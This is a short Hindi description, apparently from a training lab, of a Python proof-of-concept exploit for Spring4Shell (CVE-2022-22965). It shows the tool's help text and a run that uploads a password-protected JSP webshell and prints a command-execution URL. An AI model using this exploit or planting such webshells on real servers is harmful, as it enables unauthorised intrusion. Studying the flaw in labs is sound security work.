
पायथन-आधारित प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट CVE-2022-22965 (Spring4Shell) के लिए, जो Apache Tomcat पर Java Spring Core RCE को लक्षित करता है। रिमोट कमांड निष्पादन के लिए पासवर्ड सुरक्षा के साथ एक JSP वेबशेल अपलोड करता है।
यह भेद्यता "Spring Core" — फ्रेमवर्क के हृदय — नामक घटक को प्रभावित करती है
वर्तमान भेद्यता की शर्तें:-
user@attacker:~$ ./exploit.py --help
usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url
Spring4Shell RCE Proof of Concept
positional arguments:
url Target URL
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
Name of the file to upload (Default tomcatwar.jsp)
-p PASSWORD, --password PASSWORD
Password to protect the shell with (Default: thm)
-d DIRECTORY, --directory DIRECTORY
The upload path for the file (Default: ROOT)
user@attacker:~$ ./exploit.py http://MACHINE_IP/
Shell Uploaded Successfully!
# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami